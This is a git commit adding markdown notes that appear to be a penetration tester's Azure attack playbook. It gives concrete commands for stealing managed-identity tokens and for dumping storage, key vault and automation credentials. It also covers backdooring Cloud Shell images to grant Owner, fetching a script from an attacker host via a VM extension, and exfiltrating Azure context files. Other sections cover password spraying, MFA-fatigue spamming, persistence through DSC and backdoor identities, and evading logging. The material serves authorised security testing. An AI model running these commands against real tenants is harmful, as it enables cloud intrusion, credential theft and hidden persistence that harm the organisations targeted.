first commit

This commit is contained in:
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,43 @@
- Create a local user on a VM
- Using Azure CLI
- `az vm user update -u username -p password -n <VM_Name> -g <Resource_Group>`
- Using PowerShell
- `Get-AzVM`
- `Set-AzVMAccessExtension -ResourceGroupName "<Resource_Group>" -Location "<Location>" -VMName "<VM_Name>" -Name "<Extension_Name>" -TypeHandlerVersion "2.4" -UserName "<Username>" -Password "<Password>"`
- OR
- `Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (get-credential) -typeHandlerVersion "2.0" -Name VMAccessAgent`
- Authenticate to VMs with local credentials
- With RDP
- `Get-AzPublicIpAddress -Name winvm01* | Select IpAddress`
- If the VM does not have a public IP or RDP is not listening, Contributor permissions can be used to expose the service (MAJOR RISK)
- With Run Command (using VM agent)
- List out running Windows VMs and cast to the VMs variable
- `$VMs = Get-AzVM -Status | where {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}`
- Pass VMs to Invoke-AzVMRunCommand
- `$VMs | Invoke-AzVMRunCommand -CommandId 'RunPowerShellScript' -ScriptPath .\whoami.ps1`
- Can use indices of VMs variable to pass commands to only select VMs rather than all of them (eg. $VMs\[0\])
- From Azure REST APIs (useful especially for using a token to a managed identity)
- Obtain an access token (from a VM with a managed identity)
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/token?apiversion=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' | jq`
- Execute commands (PowerShell)
- `$mgmtToken = "TOKEN GOES HERE"`
- `Invoke-AzVMCommandREST -commandToExecute "whoami > test.txt" -managementToken $mgmtToken 204cce89-27de-4669-a48b-04c27255e05e`
- Execute script with VM extensions
- Host the script at some URI, then execute this:
- `Set-AzVMCustomScriptExtension -ResourceGroupName TEST -VMName PentestVM -Location westcentralus -FileUri 'http://attacker.webserver.com/whoami.ps1' -Run 'whoami.ps1' -Name CustomScriptExtension`
- [Attacking Azure with Custom Script Extensions (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-with-custom-script-extensions/)
- Credential Harvesting
- VM extension settings
- Domain join extension
- Microburst - `Get-AzureVMExtentionSettings`
- PowerShell ISE can store old scripts/credentials
- [Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/decrypting-azure-vm-extension-settings-with-get-azurevmextensionsettings/)
- Disk Export and Snapshot Export
- Can export a disk and generate a temp URL to download it (only for disks not attached to running VMs)
- For disks attached to VMs, create a snapshot and then export that.
- If encrypted, you'll need a key from the key vault
- PowerZure
- Get list of all unattached VM disks
- ` Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryption`
- Generate a public URL to export the disk
- `Get-AzureVMDisk -DiskName <DISK_NAME_FROM_STEP_4>`
@@ -0,0 +1,97 @@
- Storage accounts
- Contributor role has these management plane permissions and can use them to exploit the data plane:
- Microsoft.Storage/storageAccounts/listkeys/action - read access keys of storage accounts
- Microsoft.Storage/storageAccounts/listAccountSas/action - Generate SAS token for data plane access at storage account level
- Microsoft.Storage/storageAccounts/listServiceSas/action - Generate SAS token for data plane access at service level
- MicroBurst
- Dump credentials from Azure Storage instances (can also do other accounts)
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
- Can use the keys to access these services to extract data or other credentials
- Open Azure Storage Explorer
- Authenticate with name from previous command and account key
- Lava
- `stg_blob_download` - Automatically download all blob containers in subscription
- Azure Cloud Shell
- https://www.netspi.com/blog/technical/cloud-penetration-testing/attacking-azure-cloud-shell/
- Mount the image to view sensitive info and also force it to execute commands the next time it is mounted (automatically when Cloud Shell starts)
- Auth to CLI as Contributor
- `az login -u contributoruser@<domain_name> -p <contributor_user_password>`
- Start Lava
- `python3 lava.py`
- Verify permissions
- `exec priv_show`
- Scan for Cloud Shell images
- `exec stg_file_scan`
- Download files in file shares (can take a while if there are a lot)
- `exec stg_file_download` - Note the download location for later
- Exit Lava
- `exit`
- Mount IMG file
- `mount <download_location>/.cloudconsole/acc_azureadmin.img /mnt`
- Cd into mounted file, write malicious command to .bashrc or .config/PowerShell/Microsoft.PowerShell_profile.ps1
- `echo "az role assignment create --role "Owner" --assignee $(az ad user list --display-name contributoruser | jq '.[]' | jq -r '.userPrincipalName') &>/dev/null" >> .bashrc`
- `echo "New-AzRoleAssignment -UserPrincipalName (Get-AzADUser -StartsWith contributoruser).UserPrincipalName -RoleDefinitionName Owner | out-null" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1`
- Unmount
- `umount /mnt`
- Get name of storage account
- `az storage account list --query [].name -o tsv` - look for one that starts with "cs"
- `storagename=<storage_acct_name>`
- Get access key and file share and upload image
- `key=$(az storage account keys list -n $storagename --query [0].value -o tsv)`
- `csfileshare=$(az storage share list --account-key $key --account-name $storagename --query [].name -o tsv)`
- `az storage file upload --account-key $key --account-name $storagename --share-name $csfileshare --path ".cloudconsole/acc_azureadmin.img" --source "<download_location>/.cloudconsole/acc_azureadmin.img"`
- Wait for privileged account to open Azure Cloud Shell, or send phishing email with a link to the shell to the user
- Clean up Owner permissions
- `$upnsuffix=$(az ad signed-in-user show --query userPrincipalName --output tsv | sed 's/.*@//')`
- `$contributoruser = "contributoruser@$upnsuffix"`
- `$contributoruserid=$(az ad user list --upn $contributoruser --query [].objectId -o tsv)`
- `az role assignment delete --assignee $contributoruserid --role "Owner"`
- Remember to remove backdoored command in Azure Cloud Shell
- Key Vault
- Contributor has no access to data plane by default, but has this permission on the management plane to give itself perms:
- `Microsoft.KeyVault/vaults/accessPolicies/write`
- OPSEC NOTE: Changing these permissions may be logged; try to use other principals that already have authorization (such as automation Run as, app registrations, and managed identities)
- Automation accounts: Create a new runbook that uses the Run as account to access the key vault.
- App registrations: Authenticate as the app registration and access the key vault.
- Managed Identities: Generate REST API tokens for the identity to access the key vault with.
- Can also add access policy that allows the account to generate a trusted certificate - used in supply-chain attack
- MicroBurst
- Dump sensitive info from Key Vaults by temporarily changing permissions and reverting them
- `Get-AzPasswords -AutomationAccounts N -AppServices N -Keys Y -ACR N -CosmosDB N -ModifyPolicies Y -Verbose | Out-GridView`
- Web apps
- Collect publish profile, containing credentials
- `Get-AzWebAppPublishingProfile`
- MicroBurst
- `Get-AzPasswords -AutomationAccounts N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
- Find FTP endpoint to review/modify app files:
- `az webapp deployment list-publishing-profiles --name <appname> --resource-group <group-name> --query "[? ends_with(profileName, 'FTP')].{profileName: profileName, publishUrl: publishUrl}"`
- Can use Console in Azure Portal or the SCM interface
- $APP_NAME.scm.azurewebsites.net
- Can auth to this with the publish profile creds
- Keep in mind these usually have managed identities too
- [Lateral Movement in Azure App Services (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/lateral-movement-azure-app-services/)
- Automation Accounts
- Review runbook code to find credentials
- Extract stored account credentials and Run as account certificates
- Write credential variables to job output
- `$myCredential = Get-AutomationPSCredential -Name 'Cred-1'`
- `$userName = $myCredential.UserName`
- `$password = $myCredential.GetNetworkCredential().Password`
- `$username`
- `$password`
- Export Run as certificates
- `$RunAsCert = Get-AutomationCertificate -Name 'AzureRunAsCertificate'`
- `$CertificatePath = Join-Path $env:temp RunAsCertificate.pfx`
- `$Cert = $RunAsCert.Export('pfx','CertificatePassword')`
- `Set-Content -Value $Cert -Path $CertificatePath -Force -Encoding Byte | Write-Verbose`
- `$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('$CertificatePath))`
- `$base64string`
- MicroBurst
- `Get-AzPasswords -AppServices N -StorageAccounts N -Keys N -ACR N -CosmosDB N -Verbose | Out-GridView`
- Note that this will create files with a Run as certificate (pfx) and a script to log in as that Run as account
- Can also use the REST API
- `Get-AzAutomationAccountCredsREST`
- https://github.com/NetSPI/MicroBurst/blob/master/REST/Get-AzAutomationAccountCredsREST.ps1
+20
View File
@@ -0,0 +1,20 @@
- Use CLI to login prior to running Lava
- `az login`
- `python3 lava.py`
- `whoami` - confirm authentication
- Determine if any VM in the subscription is associated with a privileged managed identity
- `exec vm_list_privileged`
- Use Run Command (as a Contributor) - Get Managed Identity access token
- `exec vm_rce -rgrp PENTEST-RG -vm_name linuxvm01`
- Non-interactive shell
- ` curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com' -H Metadata:true`
- Copy token from previous command, exit Lava, and run commands against the resource manager with elevated privilege
- `TOKEN=<ACCESS_TOKEN_FROM_PREVIOUS_STEP>`
- Get a list of subscriptions
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?api-version=2020-01-01 | jq`
- Store subscription ID in a variable
- `SUB_ID=$(curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions?apiversion=2020-01-01 | jq -r .value[].subscriptionId)`
- Get a list of resource groups
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resourcegroups?api-version=2019-10-01 | jq`
- Get a list of resources
- `curl --header "Authorization: Bearer ${TOKEN}" https://management.azure.com/subscriptions/${SUB_ID}/resources?api-version=2019-10-01 | jq`
@@ -0,0 +1,4 @@
- With Contributor or Owner role on a subscription, VMs can be used (and possibly created) to begin attacking connected on-prem networks
- Bloodhound has updates that can also identify/graph Azure roles and relationships
- Azure tokens are stored on user workstations in the `.Azure` profile folders - compromise dev machines and pivot
- With elevated domain rights, might be able to add a new MFA token for a Global Administrator and crack their password to take over their account
@@ -0,0 +1,51 @@
- Group membership
- Compromising an Azure AD account with ability to change group permissions can allow lateral movement to RBAC
- Groups:
- Global Administrator
- User Administrator
- Groups Administrator
- Directory Writers
- Any custom role with `microsoft.directory/groups/members/update`
- Identifying privileged groups in subscriptions
- Review the Azure AD sign-in log
- AzureAD (or AzureADPreview)
- Get successful Azure Portal sign-ins in the time range
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq RAzure Portal' and createdDateTime gt $((Get-Date).AddDays(-1). ToString('yyyy-MM-dd')) and status/errorCode eq 0"`
- Get successful Azure PowerShell sign-ins in the time range
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq 'Microsoft Azure PowerShell' and createdDateTime gt $((GetDate).AddDays(-1).ToString('yyyy-MM-dd')) and status/errorCode eq 0"`
- Filter for interesting authentication properties
- `Get-AzureADAuditSignInLogs -Filter "appDisplayName eq 'Azure Portal' and createdDateTime gt $((Get-Date).AddDays(-1).ToString('yyyy-MM-dd')) and status/errorCode eq 0" | Select-Object UserPrincipalName, MfaDetail, AppliedConditionalAccessPolicies`
- Must have one of these permissions in Azure AD:
- Security Administrator
- Security Reader
- Report Reader
- Any custom role with `microsoft.directory/groups/allProperties/allTasks` or `microsoft.directory/signInReports/allProperties/read`
- Resetting user passwords
- Requires one of these roles:
- Password Administrator
- Helpdesk Administrator
- Authentication Administrator
- User Administrator
- Privileged Authentication Administrator (unlimited password permissions)
- Exploiting service principal secrets
- Requires one of these roles:
- Application Administrator
- Cloud Application Administrator
- Directory Synchronization Accounts
- Hybrid Identity Administrator
- Any custom role with the following permission: `microsoft.directory/servicePrincipals/credentials/update`
- Identify Service Principals that have access to Azure resources (non-interactive logins)
- Get app ID for application and add a new client secret
- Authenticate as the service principal (and hopefully gain Contributor which is the default in Azure Dev-Ops)
- Gain access to root management group
- Can only be done as Global Administrator
- Implicitly grants User Access Administrator to all subscriptions and management groups
- Azure CLI
- Use Global Administrator account to assign itself complete permissions to assign access to any subscription or management group
- `az rest --method post --url "/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"`
- Assign subscription Owner role to Global Administrator account
- `userPrincipalName=$(az ad signed-in-user show --query userPrincipalName -o tsv)`
- `az role assignment create --role "Owner" --assignee $userPrincipalName`
@@ -0,0 +1,8 @@
- Exploiting privileged service principals
- Service principals and managed identities can also have Azure AD roles
- Often excluded from MFA/conditional access
- Exploiting service principals' permissions on APIs
- Application permissions don't expect a signed-in user and can often access sensitive data
- Phishing technique:
- Use Azure AD consent grant URL to exploit built-in Azure AD permissions flow and trick users into approving an external application
+104
View File
@@ -0,0 +1,104 @@
- Credentials
- https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/
- Check C:\\Users\\%USERNAME%\.Azure for cached credentials from Az CLI or Powershell cmdlets
- Bypasses MFA/Oauth/Conditional access
- NOTE: For OPSEC, prevent Azure context from being automatically saved for a local user:
- `Disable-AzContextAutosave -Scope CurrentUser`
- Check validity of existing credentials
- `Get-AzSubscription`
- `az account list`
- Save current Azure context
- `Save-AzContext -Path azureprofile.json`
- `7z a azureprofile.zip azureprofile.json`
- Exfiltrate to Blob Container
- HTTPie
- `http PUT "<blob_container_url>" "@azureprofile.zip" "x-ms-blob-type: BlockBlob"`
- PowerShell
- `Invoke-WebRequest -Method 'PUT' -Uri '<blob_container_url>' -OutFile 'azureprofile.zip' -Headers @{"x-ms-blob-type"="BlockBlob"}`
- Download exfiltrated file
- `Invoke-WebRequest -Uri "<blob_container_url>" -OutFile azureprofile.zip`
- Extract
- `7z e azureprofile.zip`
- Import authentication context
- `Import-AzContext -Path .\azureprofile.json`
- Verify
- `Get-AzResourceGroup`
- Virtual Machines
- Opening management ports is typically ill-advised, but one option is to specify an Azure service tag as the source when opening the port (such as RDP or SSH).
- Example: modifying a network security group to allow RDP/SSH from the AzureCloud or AzureCloud.UKSouth service tag looks less suspicious while still allowing connections from any Azure node matching that range
- Add a managed identity
- Can be done in Azure Portal
- Add to system or user
- Assign additional rights to the managed identity at subscription/management group and/or Azure AD for persistence
- User-assigned (using an existing user with permissions we want) may be less noisy as it won't need more permissions added afterward.
- Automation account
- Desired State Configuration (DSC)
- Reverts systems to a "desired configuration" if that configuration ever should change
- Simply have your "desired state" be "running my malicious EXE"
- [Azure Persistence with Desired State Configurations (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/azure-persistence-with-desired-state-configurations/)
- Process:
- Add target VM as DSC node to Automation account service
- Upload configuration
- Compile configuration
- Assign configuration to VM
- Wait for DSC to indicate the node is out of compliance and run the correction script
- Example config:
- "File should exist at C:\\testfile.exe"
- "A process should be running from that path"
- "If either condition is not satisfied, correct it"
- Very well-hidden in the Azure interface and a lesser-known feature, so it may fly under the radar
- Automation Run as accounts
- [Maintaining Azure Persistence via Automation Accounts (netspi.com)](https://www.netspi.com/blog/technical/cloud-penetration-testing/maintaining-azure-persistence-via-automation-accounts/)
- Example process:
- Assign Run as account a privileged Azure AD role (Global/User Admin)
- Create runbook that adds a new user (with known password) to Azure AD tenant
- Assign new user privileged role in Azure AD
- Use new user as short-term channel to access Azure AD
- Consider using a webhook to trigger persistence
- Maintaining access to PaaS services
- Best targets are data stores or secret stores such as SQL dbs, storage accoutns, container registries, and key vaults
- Can persist on a public endpoint, but must add an IP address and this is noisy
- Can add a Firewall exception (such as to Azure SQL) to allow access to "Azure services and resources"; this allows public IPs from other organizations provided they are in Azure. Use with caution and probably only with SQL and not for services with networking restrictions
- Persistence to platform services
- Generating Shared Access Signature (SAS) tokens is not explicitly logged in Activity Log - good option for Azure Storage
- Can always add RBAC role assignments to a backdoor user too
- Azure AD persistence
- Creating new principals probably raises more alerts than modifying existing
- Creating a new user
- Requires `microsoft.directory/users/create` permission (User Administrator, Global Administrator, Directory Writers)
- For naming, try to emulate the target organization but consider if alternate naming schemes (alternate domains) might bypass MFA (Okta)
- Review audit logs to determine if the identity you're using is normally used to create Azure AD user accounts
- Creating service principal
- ALL non-guest users can create service principals by default
- If that default permission is disabled, `microsoft.directory/servicePrincipals/create` permission is needed
- Application Administrator, Application Developer, Cloud Application Administrator
- Great for bypassing MFA/conditional access/privileged identity management (not blocked or not supported)
- Creating guest user
- Depends on "Collaboration restrictions" - might be able to invite users from any domain (outlook, gmail, etc.) or only from specified ones
- By default, any user or guest user can be used to invite external identities into the tenant
- Some orgs may place conditional access policies on guest accounts; consider bypassing/disabling
- Modifying existing identities
- Look for existing disabled identities, enable them, and reset password.
- `microsoft.directory/users/enable` - User Administrator, Global Administrator
- [Azure AD built-in roles - Azure Active Directory - Microsoft Entra | Microsoft Learn](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference#password-reset-permissions)
- Add a secret/password to an existing service principal
- `microsoft.directory/servicePrincipals/credentials/update` - Application Administrator, Hybrid Identity Administrator, Global Administrator
- Granting privileges to an identity
- Add to privileged group
- If assigned-membership type - add identity to a privileged group manually
- If dynamic user membership type, either modify rules so they include our backdoor identity or modify identity to fit existing rules
- Assign identity to privileged roles
- Requires `microsoft.directory/roleAssignments/allProperties/allTasks`
- Global Administrator, Privileged Role Administrator
- Consider if Privileged Identity Management (PIM) is in use
- If so, use an active assignment for the backdoor identity instead of an eligible one that requires activation
- If Azure Blueprint is in use, must create a definition, publish, and then assign.
- Ensuring access by bypassing security policies
- Create conditional access loopholes for backdoor identities
- Add attacker IP as trusted in conditional access
- Add attacker IP as trusted for MFA
- Use subcription-level persistence to work with existing Azure AD restrictions
@@ -0,0 +1,18 @@
- General
- `Get-AzWebApp` `Get-AzWebApp | Select EnabledHostNames`
- Gather information on web applications
- Also extracted with `Get-AzDomainInfo` in MicroBurst - \\Resources\\AppServices.csv
- Function Apps
- Check to see if source code/config files are available
- Service Principal exploitation
- PowerZure
- `Get-AzureAppOwner`
- Determine if current user is assigned as the owner of a service principal
- `Add-AzureSPSecret -ApplicationName customapp -Password myPassword456`
- Can now authenticate as this service principal with this password and explore its permissions
- Note Tenant/App ID in output
- OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application Certificates and secrets management".
- `az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID`
- Authenticate using Azure CLI as service principal
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
- Determine role assignment of service principal
@@ -0,0 +1,30 @@
- Reader permissions can pull container images
- Authenticate as Reader
- `az login -u readeruser@<DOMAIN> -p myPassword123`
- List container registries - note the name
- `az acr list -o table`
- Generate a Docker login and connect to the registry
- `acr=ACR_NAME`
- `loginserver=$(az acr login -n $acr --expose-token --query loginServer -o tsv)`
- `accesstoken=$(az acr login -n $acr --expose-token --query accessToken -o tsv)`
- `docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
- List images in the container registry
- `az acr repository list -n $acr`
- Enumerate versions by listing tags for an image
- `az acr repository show-tags -n $acr --repository nodeapp-web`
- Note registry credentials in session
- `echo $loginserver`
- `echo $accesstoken`
- Open a PowerShell console as Administrator and set variables (if necessary based on Windows version)
- `$loginserver="<LOGIN_SERVER>"`
- `$accesstoken="<ACCESS_TOKEN>"`
- Login to Docker from PowerShell
- ` docker login $loginserver -u 00000000-0000-0000-0000-000000000000 -p $accesstoken`
- Pull the image
- `docker pull $loginserver/nodeapp-web:v1`
- Examine the image for sensitive information (list env vars)
- `docker container run --rm $loginserver/nodeapp-web:v1 env`
- Login with found credentials via Azure CLI
- `az login --service-principal --username APP_ID --password SECRET_KEY --tenant TENANT_ID`
- Check role assignment and scope
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
@@ -0,0 +1,2 @@
- [Abusing dynamic groups in Azure AD for privilege escalation (mnemonic.io)](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)
- In brief, look for dynamic groups that assign membership based on parameters that users have control over
@@ -0,0 +1,27 @@
- Enumerating with Reader permissions
- Simply log in to the Azure portal and view all resources/export to CSV
- PowerZure
- Importing the Module will display current role, permissions, and available subscriptions
- OPSEC NOTE: There are detections in Azure Security Center for this as well as MicroBurst
- `Get-AzureTargets`
- Compares the user role to the Azure scope to enumerate attack surface area
- MicroBurst
- `Get-AzDomainInfo -Verbose -Folder microburst-output`
- Generates an entire directory dump full of all available info on all of the Azure subscriptions to which the user has access
- If environment is very large, disable some of the information using the boolean options
- Review Azure instance metadata (from the instance itself)
- `curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2020-09-01" | jq`
- Check for a managed identity
- `curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/ token?api-version=2018-02-01&resource=https%3A%2F%2Fmanag ement.azure.com%2F' | jq`
- Resulting token can be used to interact with the Azure REST APIs. Can also be used with MicroBurst to gather key vault secrets and storage account keys
- Credential Harvesting
- Check previous deployments for resource groups
- Look for misconfigured parameter types - passwords set as "String" instead of "SecureString"
- Check deployment output sections - can include sensitive values and even "SecureString" values in cleartext
- `Get-AzDomainInfo` in MicroBurst gathers all this deployment info; check Development\\Resources\\Deployments.txt for creds
- Managed Identities - can have elevated permissions in environment
- `appid=$(az resource list --query "[?name=='\<resource name\>'].identity.principalId" --output tsv)`
- Retrieve resource information and cast to the "appid" variable
- `az role assignment list --assignee $appid --include-groups --include-inherited --query'[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
- List role assigments, specifying role name, principal name, type, and scope
- Can also be done with the REST API
@@ -0,0 +1,39 @@
z- Get all public IP addresses for subscription
- Azure CLI
- `az network public-ip list --query '[].[name, ipAddress, publicIpAllocationMethod]' -o table`
- Az Pwsh
- `Get-AzPublicIpAddress | Select Name,IpAddress,PublicIpAllocationMethod`
- Anonymously enumerating services for a target
1. Determine base-word search terms to work with. This will usually be linked with the name of the Azure customer that you are engaged with or known terms that are associated with the organization; for example, packt, azurepentesting, azurept, and so on
2. Create permutations on the base words to identify potential subdomain names; for example, packt-prod, packt-dev, azurepentesting-stage, azurept-qa, and so on.
- The Microsoft Azure resource naming best practices have been published at https://docs.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-bestpractices/resource-naming (you can also use this shortened URL: http://bit.ly/azurenamingbestpractices).
3. Enumerate subdomains that match these permutations using a tool such as MicroBurst, Gobuster, or DNSscan.
- MicroBurst is best because it is Azure-specific
- `Invoke-EnumerateAzureSubDomains -Base azurepentesting`
- Determine whether custom domains are hosted in Azure
- `nslookup <domain>`
- Note IP address
- `Invoke-WebRequest https://cloudipchecker.azurewebsites.net/api/servicetags/manual?ip=<IP_ADDRESS> -UseBasicParsing | Select-Object -ExpandProperty Content`
- Identifying misconfigured blobs
- Enumerate storage account containers with default permutation list
- `Invoke-EnumerateAzureBlobs -Base <basestring>`
- Can specity custom container name list in text file
- `Invoke-EnumerateAzureBlobs -Base azurepentesting -Folders .\customcontainer.txt`
- Download containers with weak permissions
- `Invoke-WebRequest -Uri "https://azurepentesting.blob.core.windows.net/public/README.txt" -OutFile "README.txt"`
- `Invoke-WebRequest -Uri "https://azurepentesting.blob.core.windows.net/private/credentials.txt" -OutFile "credentials.txt"`
- Spray Microsoft Online accounts
- Generate text file containing user principal names (format: \<username\>@\<domain\>.com, eg. al@cthulhupentest.com)
- Spray using MSOLSpray
- `Invoke-MSOLSpray -UserList .\userlist.txt -Password myPassword123`
- Note the script also is able to tell if MFA is enabled for each user
- If credentials are restricted by Conditional Access policies or MFA:
- Look for bypass with MFASweep
- `Invoke-MFASweep -Username [email protected] -Password myPassword123`
- Social engineering or simply spamming the user with MFA requests may work
- It worked against Uber...